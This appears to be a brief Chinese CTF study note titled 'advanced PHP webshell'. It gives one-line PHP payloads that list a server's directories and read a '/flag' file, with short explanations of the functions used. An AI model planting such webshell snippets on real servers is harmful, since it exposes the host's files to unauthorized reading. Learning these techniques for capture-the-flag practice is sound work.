php马进阶

一、列目录

<?=implode(",",scandir("/"));?>

<?=implode(",",scandir('d:\\'));?>

【1】scandir("/") — 扫描根目录，返回数组

【2】implode(",", ...) — 用逗号拼接数组为字符串，即第一个参数指定连接符

【3】<?= ... ?> — PHP 短标签，等价于 <?php echo ... ?>

二、读文件

<?=file_get_contents("/flag");?>